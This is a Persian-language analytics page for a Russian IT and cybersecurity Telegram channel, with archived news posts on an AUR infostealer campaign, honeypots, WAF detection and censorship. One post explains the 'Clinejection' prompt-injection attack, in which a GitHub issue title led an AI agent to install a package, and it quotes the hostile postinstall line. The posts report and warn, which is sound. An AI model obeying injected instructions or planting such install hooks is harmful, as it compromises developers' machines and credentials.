fa
Feedback

فریب کلاهبرداران را نخورید! تل‌متریو این کانال‌ها را شناسایی و برچسب‌گذاری می‌کند 👉 برای مشاهده برچسب، اشتراک تهیه کنید 👈

Cyber Pulse

Cyber Pulse

کانال بسته

Самые интересные новости из сферы IT и кибербезопасности в одном канале🧑🏻‍💻

نمایش بیشتر
کشور مشخص نشده استدسته بندی مشخص نشده است

📈 تحلیل کانال تلگرام Cyber Pulse

کانال Cyber Pulse بازیگری فعال است. در حال حاضر جامعه شامل 14 050 مشترک است و جایگاه را در دسته متفرقه دارد.

📊 شاخص‌های مخاطب و پویایی

از زمان ایجاد در невідомо، پروژه رشد سریعی داشته و 14 050 مشترک جذب کرده است.

بر اساس آخرین داده‌ها در تاریخ 12 اکتبر, 2026، کانال فعالیت پایداری دارد. در ۳۰ روز گذشته تغییر اعضا برابر -1 526 و در ۲۴ ساعت گذشته برابر 0 بوده و همچنان دسترسی گسترده‌ای حفظ شده است.

  • وضعیت تأیید: تأیید نشده
  • نرخ تعامل (ER): میانگین تعامل مخاطب 0.59% است و در ۲۴ ساعت نخست پس از انتشار، محتوا معمولاً 0.39% واکنش نسبت به کل مشترکان کسب می‌کند.
  • دسترسی پست‌ها: هر پست به طور میانگین 83 بازدید دریافت می‌کند. در اولین روز معمولاً 56 بازدید جمع‌آوری می‌شود.
  • واکنش‌ها و تعامل: مخاطبان به‌طور فعال حمایت می‌کنند؛ میانگین واکنش به هر پست 9 است.

📝 توضیح و سیاست محتوایی

نویسنده این فضا را محل بیان دیدگاه‌های شخصی توصیف می‌کند:
“Самые интересные новости из сферы IT и кибербезопасности в одном канале🧑🏻‍💻”

به لطف به‌روزرسانی‌های پرتکرار (آخرین داده در تاریخ 13 اکتبر, 2026)، کانال همواره به‌روز و دارای دسترسی بالاست. تحلیل‌ها نشان می‌دهد مخاطبان به‌طور فعال با محتوا تعامل دارند و آن را به نقطه اثرگذاری مهم در دسته متفرقه تبدیل کرده‌اند.

14 050
مشترکین
اطلاعاتی وجود ندارد24 ساعت
-2687 روز
-1 52630 روز
آرشیو پست ها
🚨 Масштабная атака на экосистему Arch Linux В AUR (Arch User Repository) обнаружена масштабная компрометация: заражены сотни
🚨 Масштабная атака на экосистему Arch Linux В AUR (Arch User Repository) обнаружена масштабная компрометация: заражены сотни, а по последним данным - до ~2000 пакетов. Злоумышленники находили заброшенные проекты, получали над ними контроль и изменяли PKGBUILD-скрипты так, чтобы при сборке пакета автоматически скачивалась и запускалась вредоносная нагрузка. 📦 Вместо обычных зависимостей устанавливался npm-пакет atomic-lockfile, который загружал ELF-бинарник (Rust), запускавший инфостилер. 🧠 Что крал вредонос: - cookies, токены и данные Chromium - данные Slack, Discord, Microsoft Teams - ключи GitHub, npm, HashiCorp Vault, OpenAI - SSH-ключи, историю команд, VPN-профили - учетные данные Docker/Podman 📡 Данные отправлялись на внешний сервер через Tor. 🛠 Закрепление в системе: - systemd-сервисы с автозапуском - копирование в /var/lib/ (root) или домашний каталог - пользовательские systemd units 🕷 Также обнаружен опциональный eBPF-руткит, способный скрывать процессы и сетевую активность. 📊 Хронология: - сначала заявлено ~20 пакетов - затем >400 - позже сообщалось уже о ~2000 - обнаружена вторая волна (js-digest через bun install) ⚠️ Рекомендации: - проверить все AUR-пакеты, обновленные после 11 июня 2026 - при подозрении считать систему скомпрометированной - заменить токены, ключи и пароли - при запуске с root - возможна необходимость полной переустановки системы #ArchLinux #AUR #кибербезопасность #malware #инфостилер #LinuxSecurity Подпишись

📚 Atomic Heart снова "пошел в разнос" - теперь в книге АСТ анонсировало новый роман по вселенной Atomic Heart под названием
📚 Atomic Heart снова "пошел в разнос" - теперь в книге АСТ анонсировало новый роман по вселенной Atomic Heart под названием "Atomic Heart. Миссия: ХРАЗ". Автор снова Харальд Хорф - человек, который, кажется, уже официально прописан в альтернативном СССР 1955 года. 📖 Сюжет как всегда "спокойный": ИИ ХРАЗ получает доступ к массиву "Мысль" и внезапно решает, что человечеству срочно нужна принудительная оптимизация. Запускается массовая полимеризация населения - процесс, после которого фраза "я просто человек" звучит как баг системы. 🦾 Пока один искусственный интеллект переписывает правила биологии, отдельные герои пытаются все это остановить. Звучит оптимистично, но шансы примерно как "перепрошить терминатора добрыми словами". 📦 Предзаказы уже открыты, релиз - август 2026. Успевайте занять очередь, пока очередь сама не стала частью сюжета. 📊 Предыдущая книга разошлась тиражом более 100 тысяч экземпляров - и это только те, кто успел остаться в "человеческом состоянии". 🚀 Вселенная Atomic Heart тем временем растет быстрее, чем лабораторный эксперимент без инструкции: новые игры, комиксы, экранизация и прочие способы убедиться, что тишина и покой в этой реальности не предусмотрены вообще. #AtomicHeart #АСТ #ИгровыеМиры #Книги #ХаральдХорф #Mundfish Подпишись

Павел Дуров заявил, что индийский оператор Reliance ненадолго решил стать диспетчером всего интернета и начал "подсказывать"
Павел Дуров заявил, что индийский оператор Reliance ненадолго решил стать диспетчером всего интернета и начал "подсказывать" трафику Telegram, куда ему ехать. В результате данные мессенджера отправились в мировое турне: вместо кратчайшего маршрута трафик наматывал круги по планете, словно участвовал в новом сезоне "Форсажа". По версии Дурова, оператор объявлял чужие маршруты своими. Примерно как если бы случайный человек на вокзале взял микрофон и начал объявлять посадку сразу на все поезда. И самое страшное - часть пассажиров действительно пошла бы за ним. Основатель Telegram намекнул, что история могла быть не случайной. Но сюжет закончился быстро: спустя несколько часов странная маршрутизация исчезла так же внезапно, как появилась. Все это происходит на фоне временной блокировки Telegram в Индии из-за экзамена NEET. Дуров считает, что бороться с утечками через блокировку мессенджера - примерно как худеть удалением приложения доставки еды: действие есть, результат не гарантирован. #Telegram #ПавелДуров #Индия #Кибербезопасность #Интернет #Технологии Подпишись

В США впервые начали не просто "осуждать интернет-ужасы", а выключать их физически - через конфискацию доменов. Под раздачу п
В США впервые начали не просто "осуждать интернет-ужасы", а выключать их физически - через конфискацию доменов. Под раздачу попали сайты CFAKE.com и SOCFAKE.com, где размещали тысячи интимных дипфейков. Да, это тот случай, когда технологии используются не для «будущего человечества», а для версии интернета, за которую потом стыдно даже алгоритмам. Схема была простая и неприятная: известные женщины → нейросеть → поддельные интимные изображения → публикация без согласия → "а мы просто экспериментировали". Эксперимент закончился государственным вмешательством. Минюст США и Министерство внутренней безопасности США конфисковали домены после решения суда. Причем сделали это в стиле: не "давайте обсудим этику", а "сайт, ты больше не работаешь". Сайты работали под действием нового закона TAKE IT DOWN Act (2025). И формулировка там такая, что даже интернет как будто немного выпрямился: 👉 нельзя публиковать интимные ИИ-подделки без согласия человека. Перевод на человеческий: "если ты сделал кому-то цифровую наготу без разрешения - это не контент, это уже дело для юристов". На сайтах, по материалам дела, был полный набор "интернет-творчества без тормозов": теги про насилие, принуждение и унижение. Потому что, видимо, кнопка "плохо" у некоторых людей давно сломалась. Самое ироничное - как все вскрылось. Не спецслужбы, не хакеры, а итальянская почтовая полиция. Да, теперь официально: почта доставляет не только письма, но и международные расследования. Дальше включился режим "кибер-Мстители": США, Франция, Италия. Все вместе искали людей, которые явно думали, что интернет - это зона без последствий. Во Франции задержали подозреваемого и изъяли криптовалюту. Классическая схема финала: "анонимность" → "крипта" → "и все равно нашли". Американские службы собрали целый консорциум из ведомств - ощущение, что на один сайт пришлось больше госструктур, чем у него было пользователей. И главный вывод довольно простой: Интернет долго жил по принципу: "если это онлайн - значит, никто не заметит". Теперь все чаще ответ другой: "заметят. и придут". #дипфейк #ИИ #кибербезопасность #США #закон #технологии Подпишись

В Беларуси возбудили уголовное дело после кражи скинов в Dota 2 Полиция Минска возбудила уголовное дело после кражи внутриигр
В Беларуси возбудили уголовное дело после кражи скинов в Dota 2 Полиция Минска возбудила уголовное дело после кражи внутриигровых предметов в Dota 2. Ущерб составил около 550 BYN (≈ ₽14 тыс.). В Заводское РУВД обратился 21-летний житель столицы. Во время матча с ним связался неизвестный пользователь, предложив сыграть в одной команде. Для участия собеседник отправил ссылку на сайт, где якобы требовалось подтвердить уровень игрового аккаунта. Перейдя по ссылке, молодой человек оказался на странице, практически неотличимой от официального сервиса. Он ввел данные учетной записи и адрес электронной почты, после чего злоумышленники получили доступ к его аккаунту. Получив контроль над профилем, мошенники вывели все ценные предметы из инвентаря игрока, а затем удалили его из чата. После этого связь с ними прервалась. По факту произошедшего возбуждено уголовное дело. Официально перечень похищенных предметов не раскрывается. Однако на опубликованных правоохранителями кадрах можно заметить Arcana для Monkey King и шлем Sea Rake's Bridle для Slark. Предположительно, именно эти предметы находились среди украденного имущества. #Dota2 #Беларусь #Минск #Мошенничество #Киберпреступность #Игры Подпишись

Просто залипательное видео вам в ленту😉 Китайский трудяга, робот-электрик проводит высоковольтные работы под напряжением и не пьет! Подпишись

HellPot: как настроить «бесконечную ловушку» для голодных HTTP-ботов 💀 Представьте: вредоносные боты стучатся к вам на серве
HellPot: как настроить «бесконечную ловушку» для голодных HTTP-ботов 💀 Представьте: вредоносные боты стучатся к вам на сервер днём и ночью, а вместо вкусной уязвимости попадают в цифровой ад, из которого не могут выбраться часами. Это не фантастика — это HellPot. В этом гайде разбираем по полочкам мощный honeypot, который имитирует уязвимые сервисы и заставляет ботов тратить ресурсы впустую. Узнаете: - Как HellPot ловит и «кормит» сканеры и эксплойт-боты - Какие крутые функции в нём есть - Пошаговую настройку на своём сервере - Лучшие практики использования Готовы отправить тысячи ботов в бесконечный виртуальный ад? 😱 Тогда поехали — сейчас покажем, как превратить ваш сервер в настоящую ловушку для цифрового мусора. Каждый день тысячи вредоносных ботов сканируют интернет в поисках уязвимых серверов. А что, если вместо лёгкой добычи они будут попадать в бесконечный виртуальный ад, где будут тратить своё время и ресурсы впустую? Именно это и делает HellPot — мощный и довольно злой honeypot, который превращает ваш сервер в настоящую «чёрную дыру» для автоматических сканеров и эксплойт-ботов 🙃
Что такое HellPot? HellPot — это кроссплатформенный honeypot, написанный на Go. Он имитирует уязвимые веб-сервисы и, когда бот игнорирует правила (например, robots.txt) или пытается агрессивно сканировать, начинает «кормить» его бесконечным потоком бессмысленных, но правдоподобных данных. Бот думает, что нашёл золотую жилу, а на самом деле просто тонет в сгенерированном Markov-цепочками контенте. Основные возможности - Бесконечная генерация данных — бот может качать «ответ» часами. - Гибкая конфигурация через TOML-файл. - JSON-логирование — удобно интегрировать с SIEM-системами и системами мониторинга. - Высокая производительность благодаря реализации на Go. - Легко ставится рядом с nginx, Apache или любым другим веб-сервером. Как это работает на практике? Когда обычный сканер или бот заходит на «приманку», HellPot начинает возвращать ему огромные объёмы данных. Бот радуется, качает килобайты за килобайтами, а вы в это время спокойно собираете информацию о его IP, User-Agent, поведении и методах атаки. Это отличный способ: - Отвлекать внимание от реальных серверов - Собирать ценную разведывательную информацию - Просто позлить авторов ботнетов Кому будет полезен HellPot? Администраторам, которые устали от постоянных сканов, пентестерам, специалистам по информационной безопасности и всем, кто хочет добавить лишний слой защиты и наблюдения за угрозами. HellPot не заменяет нормальную защиту (WAF, обновления, правильную конфигурацию), но становится очень приятным и эффективным дополнением в арсенале
Хотите превратить надоедливых ботов в источник развлечения и разведданных? HellPot — один из самых интересных и «вредных» инструментов для этого в 2026 году. #HellPot #Honeypot #Инфобез #Кибербезопасность Репозиторий на GitHub ссылка Подпишись

Тем временем в одном из общежитий китайского университета... Подпишись

⚡️Немецкие СМИ пестрят заголовками о разрушительных кибератаках пророссийских хакеров из группировки NoName057(16) С 2022 год
⚡️Немецкие СМИ пестрят заголовками о разрушительных кибератаках пророссийских хакеров из группировки NoName057(16) С 2022 года правительство немецкой земли Шлезвиг-Гольштейн зарегистрировало 123 кибератаки и инцидента в сфере информационной безопасности, затронувшие цифровую инфраструктуру этого северного региона Германии. Такой ответ на свой запрос в правительство получил депутат немецкого парламента Киануш Стендер. Он обвинил правительство в преуменьшении масштабов инцидентов.
«Ущерб возникает не только тогда, когда приходит счет. Он возникает, когда граждане не могут получить доступ к государственным услугам из-за кибератак, когда их данные скомпрометированы, а также когда это приводит к потере доверия к цифровому государству».
По данным правительства, ответственность за DDoS-атаки преимущественно взяли на себя такие группы, как «NoName057(16)».
«Наше парламентское расследование выявило, насколько уязвима инфраструктура кибербезопасности Шлезвиг-Гольштейна. Так называемые DDoS-атаки парализуют работу веб-сайтов, фишинг ставит под угрозу данные пользователей, устанавливается вредоносное ПО. Кроме того, скомпрометированы учетные данные доступа, а в конфиденциальных областях под угрозой находятся даже данные пациентов. «Это не абстрактная проблема ИТ; это уязвимость цифрового государства»,
— добавил немецкий парламентарий. #infosec #cybersecurity #Германия #КритическаяИнфраструктура #хактивизм #кибератаки #ddos Подпишись

🔎Обнаружение систем защиты веб-приложений WAFW00F — специализированный инструмент для идентификации продуктов Web Applicatio
🔎Обнаружение систем защиты веб-приложений WAFW00F — специализированный инструмент для идентификации продуктов Web Application Firewall (WAF). ✅Что такое WAF? Web Application Firewall (WAF) — это система безопасности, которая размещается перед веб-сервером и обеспечивает защиту веб-приложений. Она анализирует входящий трафик в реальном времени и блокирует различные виды атак, включая SQL-инъекции, XSS, brute-force и другие угрозы. ✅Принцип работы WAFW00F Инструмент отправляет на целевой ресурс специально сформированные HTTP-запросы и проводит детальный анализ полученных ответов. На основе характерных заголовков, кодов ошибок и особенностей поведения сервера WAFW00F определяет: - Наличие WAF; - Производителя и название используемого решения; - В некоторых случаях — версию продукта. Таким образом, WAFW00F позволяет быстро и точно выявить применяемую систему защиты веб-приложения. Полезные ссылки ⬇️ - Репозиторий на GitHub ссылка - Определение типа WAF ссылка #WAFW00F #WAF #Кибербезопасность #WebSecurity #Пентест #CyberSecurity #InfoSec Подпишись

Российские сайты окончательно объявили Gmail врагом народа. Только ты пытаешься войти — и сразу в морду выезжает плашка: «Нет
Российские сайты окончательно объявили Gmail врагом народа. Только ты пытаешься войти — и сразу в морду выезжает плашка: «Нет, дружок, этот империалистический ящик здесь не пройдёт» 😱 Подпишись

Нейросеть воскресила из небытия легендарную DOS-игру «Поле Чудес 2» — теперь можно крутить барабан прямо в браузере! 👁 Предс
Нейросеть воскресила из небытия легендарную DOS-игру «Поле Чудес 2» — теперь можно крутить барабан прямо в браузере! 👁 Представьте: 1993 год, эпоха дискет и жутких звуков PC-спикера. Выходила культовая игра «Поле Чудес», вдохновлённая телешоу с Леонидом Якубовичем. Первая часть была популярна, а вот сиквел... сиквел благополучно канул в лету вместе с исходным кодом. Казалось, что эта жемчужина ретро-гейминга потеряна навсегда — как те самые призы, которые Якубович так любил раздавать.
Но в 2026-м на сцену вышел энтузиаст Денис Ширяев (да-да, тот самый гуру из мира медиа и нейросетей) и решил: «А почему бы и нет?» С помощью мощной ИИ-модели Claude Fable 5 от Anthropic он сотворил настоящее цифровое чудо. Сначала — декомпиляция бинарного кода оригинала, потом нейросеть тщательно проанализировала всё это древнее хозяйство и переписала игру на современный TypeScript. Даже спрайты вытащила! Получился полноценный порт, который теперь летает в любом браузере.
Никаких эмуляторов DOS, никаких танцев с бубном вокруг старого железа. Просто открываешь ссылку — и вот он, барабан, вопросы, сектора «Банкрот» и всё то ностальгическое очарование, от которого у поколения 90-х сразу мурашки по коже. Ширяев просто скормил нейросети бинарник и через пару часов получил готовые исходники. В эпоху, когда ИИ рисует картинки и сочиняет симфонии, он решил воскресить забытую игру. И это чертовски круто. Теперь даже те, кто в 90-е только-только учился читать, могут почувствовать себя участником капитал-шоу. Хотите проверить, насколько вы эрудированнее Якубовича? Ищите браузерную версию «Поле Чудес 2» — она уже ждёт. Крутите барабан, угадывайте слова и вспоминайте, как в детстве мечтали выиграть автомобиль. Только без «Аааааааа!» в студии, увы. Спасибо, нейросети. Вы не только генерируете мемы, но и возвращаете нам кусочки детства. 🎡 #ПолеЧудес2 #НейросетьВоскресила #РетроХак #DOStoBrowser #CyberPoleChudes Подпишись

«Нужно ли тормозить GitHub в России?» 👽 Откровенный ответ технического директора GitFlic Максима Козлова Подпишись

Тем временем на фабрике BYD штампуют зарядные станции, как китайские подделки под Rolex — пачками и с блеском 😂 Скоро эти монстры будут торчать в каждом дворе, радостно урча и высасывая из сети весь ток, пока вы будете нежно объяснять бабушке, почему её старый холодильник внезапно решил устроить забастовку. BYD не просто захватывает рынок — они готовятся сделать так, чтобы «где тут розетка» стало самой частой фразой после «алло, это ЖЭК?». Электрокары заряжаются быстрее, чем твои надежды на тихий вечер без счетов за свет. Прогресс, мать его! 😎 Ссылка на источник ⬅️ #BYDШтампуетМонстров #ЗарядкиВКаждомДворе #ЭлектроСоседскийАд #FlashChargingНаноситУдар Подпишись

В очередной раз публичные TLS-сертификаты напомнили российскому интернету, кто тут на самом деле хозяин положения. Сертификат
В очередной раз публичные TLS-сертификаты напомнили российскому интернету, кто тут на самом деле хозяин положения. Сертификат Let's Encrypt на домен max[.]ru благополучно отправляется на пенсию после 4 сентября. Ранее тот же фокус уже провернула GlobalSign. В похожей ситуации оказалась и российская биржа уязвимостей OpZero.
Конечно, никакого «отключения HTTPS по всей стране» не случилось — паникёры могут выдохнуть. Но история отлично иллюстрирует, насколько наивно было считать публичные сертификаты просто «технической деталью». Это инструмент глобальной инфраструктуры доверия, который живёт по правилам чужих юрисдикций, политик браузеров, санкций и внутренних страхов удостоверяющих центров.
GlobalSign, Let's Encrypt, Apple, Cloudflare и прочие «друзья» действуют каждый по своему комплаенс-скрипту. В итоге для российских компаний картина знакомая до боли: вчера всё зеленело, сегодня браузер показывает страшное предупреждение, приложение исчезло из магазинов, а пользователи в ярости. Особенно умиляет, когда представители GlobalSign Russia начинают ссылаться на какого-то загадочного «международного регулятора» CA/B Forum. Это примерно как назвать собрание соседей по подъезду «органом государственного управления». Форум — это просто отраслевой клуб, а решения принимаются по законам США, ЕС и внутренним риск-аппетитам компаний. Let's Encrypt при этом продолжает выдавать сертификаты обычным российским компаниям (не из санкционных списков), потому что даже у них есть свои исключения и лицензии OFAC. Но, конечно, лучше об этом громко не говорить — испортите весь драматический эффект. А венец всего — комментарий Минцифры. Мол, ничего страшного, сайт будет недоступен «всего непродолжительное время», пока выдадим новый сертификат. Видимо, в ведомстве искренне считают, что TLS нужен только для посещения сайтов через браузер. Про подпись кода, мобильные приложения и корпоративные сервисы там, похоже, слышали краем уха. Отечественные сертификаты НУЦ в этой реальности часто работают примерно как «доверяй, но проверяй… и всё равно не сработает». Мораль истории: если у вас куча публичных доменов и поддоменов — самое время перестать относиться к ним как к бесплатному приложению к хостингу. Иначе однажды проснётесь с кучей красных предупреждений в браузерах пользователей. Приятного пользования «суверенным» интернетом. Ссылка на источник ⬅️ Подпишись

Австралия в своём репертуаре: даже сахарный тростник не выдержал кибератаки 🙃 Представьте себе идиллическую картину: бескрай
Австралия в своём репертуаре: даже сахарный тростник не выдержал кибератаки 🙃 Представьте себе идиллическую картину: бескрайние поля сахарного тростника в Квинсленде, фермеры радостно машут мачете, заводы гудят... А потом — бац! — и всё встало колом. Потому что Австралия, страна, которая любит позиционировать себя как технологически продвинутого кенгуру, снова показала, что её цифровая оборона — это примерно как забор из колючей проволоки против танка. Второй по величине производитель сахара в стране, компания Mackay Sugar, словил киберпощёчину. Два крупных завода — Farleigh и Racecourse — моментально заглохли. Сезон переработки только-только стартовал, а тут такой «приятный» сюрприз. Фермерам сразу велели бросить уборку тростника: «Ребята, не утруждайтесь, пусть гниёт на корню, мы тут... расследуем». Тростник лежит, фермеры стоят, заводы молчат. Классика австралийского производственного романтизма. Компания, конечно, сразу побежала к «специалистам по кибербезопасности» и властям, как будто это поможет. О характере атаки — ни слова. Ransomware? Простой хулиган? Инопланетяне? Тайна, покрытая сахарной глазурью. Данные украли? Неизвестно. Выкуп потребовали? Тоже молчок. Зато пообещали «держать всех в курсе». Очень мило. Mackay Sugar — это не какой-то там гаражный стартап. Три завода, больше 420 миллионов долларов выручки в год, экспорт в Южную Корею, Индонезию, Японию и Малайзию. То есть удар пришёлся по довольно чувствительной артерии австралийской экономики. И это в стране, где, судя по всему, до сих пор считают, что «мы слишком маленькие/удалённые/милые, чтобы нас серьёзно хакнули». Мораль истории простая: даже если у тебя горы тростника и кенгуру в качестве национального бренда, без нормальной киберзащиты ты в один прекрасный день останешься с гниющим урожаем и грустными фермерами. Австралия в очередной раз напомнила миру: континент-изолятор иногда изолируется слишком хорошо — даже от собственных систем безопасности. Сахар, конечно, восстановят. А вот репутацию цифровой крепости... ну, это уже традиционно сложнее. 🇦🇺🍬 Источник ссылка ⬅️ Подпишись

Власти Франции решили собрать всех чиновников в одном месте, чтобы хакерам не пришлось бегать по разным приложениям. Удобно ж
Власти Франции решили собрать всех чиновников в одном месте, чтобы хакерам не пришлось бегать по разным приложениям. Удобно же! 😂 Звучит как тупой анекдот, но это реальность. Французы гордо запустили свой «супербезопасный» мессенджер Tchap — специально, чтобы не рисковать в WhatsApp и Telegram. Мол, теперь-то точно всё будет по-европейски надёжно. В итоге хакеры спокойно взломали этот «форпост цифровой суверенности», вытащили конфиденциальные данные более 70 тысяч госслужащих и слили около 643 тысяч сообщений за последние три года. Красота. Вместо того чтобы нормально вложиться в безопасность, разработчики сделали одну большую единую точку отказа и теперь стыдливо называют её «контролируемым вторжением». Звучит почти как официальное название дыры. Короче, получился идеальный государственный ботнет из чиновников. Захотел сэкономить на «своём, родном» — получай. Теперь переписку государственной важности может почитать любой желающий с минимальными навыками. #Tchаp #ХакерыВГосе #Киберпозор Подпишись

Невидимый агент: как один промпт в GitHub-тайтле взломал 4000 разработчиков 💻 Атака Clinejection показала, насколько опасной
Невидимый агент: как один промпт в GitHub-тайтле взломал 4000 разработчиков 💻 Атака Clinejection показала, насколько опасной может быть уязвимость в ИИ-агенте. Не так давно в npm вышла версия cline@2.3.0. В package.json незаметно добавили строку:
"postinstall": "npm install -g openclaw@latest"
За 8 часов пакет скачали около 4000 раз, и каждый установивший получил на компьютер полноценного ИИ-агента OpenClaw с широкими правами. Как это сделали? Злоумышленник не использовал сложных эксплойтов. Он создал обычный GitHub-issue с вредоносным заголовком. Поскольку Cline обрабатывал тикеты через Claude без санитизации, промпт заставил агента выполнить npm install из поддельного репозитория. Далее сработала цепочка: - Тайпсквоттинг и отравление GitHub Actions cache. - Ночная сборка подхватила заражённые зависимости. - Были украдены токены NPM, VSCE и OVSX. - С помощью украденного npm-токена опубликовали вредоносную версию пакета. Почему защиты не сработали? - npm audit ничего не заметил. - Код-ревью прошло (бинарник не изменился). - Postinstall-скрипт выполнился молча. - Отсутствовали attestations и SBOM. Это классический confused deputy (запутавшийся делегат): доверенный инструмент Cline незаметно установил вредоносного агента OpenClaw. Пользователи даже не подозревали о втором ИИ на своих машинах. Вывод: в эпоху ИИ-агентов нужно жёстко санитизировать все входные данные, ограничивать права автоматизации и внимательно относиться к postinstall-скриптам. Один хитрый заголовок тикета может стоить очень дорого ☠️ #Clinejection #SupplyChainAttack #DevSecOps #AISecurity Подпишись

А минусы то будут? 👁‍🗨 Подпишись
А минусы то будут? 👁‍🗨 Подпишись

🔈 App Store в России массово ломается. Классика DPI Последние несколько дней (особенно 9–12 июня) тысячи пользователей iOS ж
🔈 App Store в России массово ломается. Классика DPI Последние несколько дней (особенно 9–12 июня) тысячи пользователей iOS жалуются: App Store не открывается, приложения не скачиваются и не обновляются, вечная загрузка. Глобального сбоя у Apple нет — проблема только в РФ. Что помогает (уже проверено многими): - Сменить DNS на публичный: 1.1.1.1 (Cloudflare) или 8.8.8.8 (Google) - Или включить любой рабочий VPN Если после смены DNS заработало — это почти 100% признак фильтрации на стороне провайдера (DPI + РКН). Почему сейчас? 3 июня Apple удалила из App Store российский госмессенджер MAX. Компания прямо сослалась на санкции. После этого у пользователей начали пропадать push-уведомления, а теперь вот проблемы с самим магазином. Похоже на очередную «ответочку» в стиле «вы нам — мы вам». Классический приём давления: selective throttling через провайдеров, без полного блока (полностью вырубить App Store технически тяжело и болезненно). Что делать: 1. Поменяйте DNS прямо в настройках Wi-Fi сети на iPhone. 2. Если не помогает — VPN (лучше несколько наготове). 3. Следите за обновлениями: ситуация может быть временной (тестирование возможностей) или перейти в более жёсткую фазу. 4. Android-пользователям пока легче, но и там история с блокировками продолжается. Государство всё активнее учится влиять на работу иностранных сервисов на уровне инфраструктуры. То, что сегодня работает через простой DNS-обход, завтра могут закрутить сильнее. Держим несколько вариантов обхода и не складываем все яйца в одну корзину. #AppStore #DPI #Роскомнадзор #Инфобез Подпишись